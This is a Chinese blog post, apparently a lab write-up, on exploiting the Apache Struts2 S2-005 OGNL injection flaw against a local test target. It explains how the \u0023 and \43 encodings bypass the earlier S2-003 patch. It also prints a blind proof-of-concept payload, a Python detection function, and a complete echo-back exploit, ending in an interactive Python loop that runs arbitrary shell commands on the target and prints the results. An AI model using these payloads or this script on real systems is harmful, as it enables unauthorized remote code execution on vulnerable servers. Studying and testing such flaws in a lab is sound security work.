s2-005远程执行漏洞靶机练写poc和exp

在安装好环境后,页面如下
靶机的ip为192.168.6.217
在这里插入图片描述

S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。
S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。

在github上有一段没有回显的poc验证

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

该poc是向靶机/tmp下写入一个success的文本,靶机验证如下
在这里插入图片描述

在这里插入图片描述
这个poc分为三个部分
1.(’\u0023_memberAccess[‘allowStaticMethodAccess’]’)(vaaa)=true
2.(aaaa)((’\u0023context[‘xwork.MethodAccessor.denyMethodExecution’]\u003d\u0023vccc’)(\u0023vccc\u003dnew java.lang.Boolean(“false”)))
3.(asdf)((’\u0023rt.output(“touch@/tmp/success”.split("@"))’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
其中主要执行主要执行命令的是第三部分,其组成是为了遵守Ognl语法树的规则,网上的文章很多,不多讲。大致就是第一个是为了将_memberAccess变量中的allowStaticMethod设置为true;第二步是将上下文中的xwork.MethodAccessor.denyMethodExecution 设置为false,即允许方法的执行,这里的MehodAccessor是Struts2中规定方法/属性访问策略的类;第三个调用Runtime类的静态方法获取一个Runtime对象执行命令。
其验证方式是通过返回页面不变来判断,当然在方式的时候还是要转化为urlencode形式发送。

def s2_005(url):
    # 影响版本: 2.0.0 - 2.1.8.1
    post_url = url
    data = r"(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/test%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1"
    thire = requests.post(url=post_url, data=data, headers=headers)
    first = requests.get(url=url, headers=headers)
    if len(thire.text) == len(first.text):
        print("存在s2-005漏洞")
    else:
        print("不存在")

在网上找了有回显的攻击代码,但是测试总是返回不了内容,百度说有可能是tomcat8的问题,因此下载了k8进行测试发现并不是因为tomcat8的问题,k8可以执行返回命令等。打开wireshare抓取k8的流量分析
在这里插入图片描述(这里的k8执行的命令有几条,我只拿了其中一个命令包进行查看)在这里插入图片描述从中得到了执行命令的语句

('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))

这样上面就是

1.设置上下文denyMethodExecution=false 运行方法执行

2.excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量)

设置外部拦截器为空

3.mycmd=“whoami” 定义我们的执行命令的变量

4.myret=@java.lang.Runtime@getRuntime().exec(\43mycmd)’) (调用静态方法执行我们的变量)

5.mydat=new java.io.DataInputStream(\43myret.getInputStream())’) 获取输入流 (post)

6.myres=new data[51020];mydat.readfully(myres); 读取输入流

(5,6为了转换输入流的类型)

7.mystr=new java.lang.String(#myres) ;定义并赋值输入流

8.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据

9.myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。

知道原理后,但是在用python编写的时候会报错
在这里插入图片描述在通过百度查找,在数据传输中chunked编码在http1.1上存在而http1.0不会去看chunked编码的长度,重放发现,bp上的http是1.0而返回的包是1.1。在python3中requests的包默认的http是1.1,因此需要重新定义一下http的版本

import http.client
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'

添加上面的代码,使requests发送的包http的版本在1.0上
因此该有回显的poc为

def s2_005exp(url):
    while True:
        exec1 = input("the exec:")
        key = r"('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'" + exec1 + r"\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))"
        post_url = url
        s1 = requests.post(url=post_url, data=key, headers=headers)
        s = s1.text
        print(s)

整体代码放在了我的github上https://github.com/cve-2020/jiaoben

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值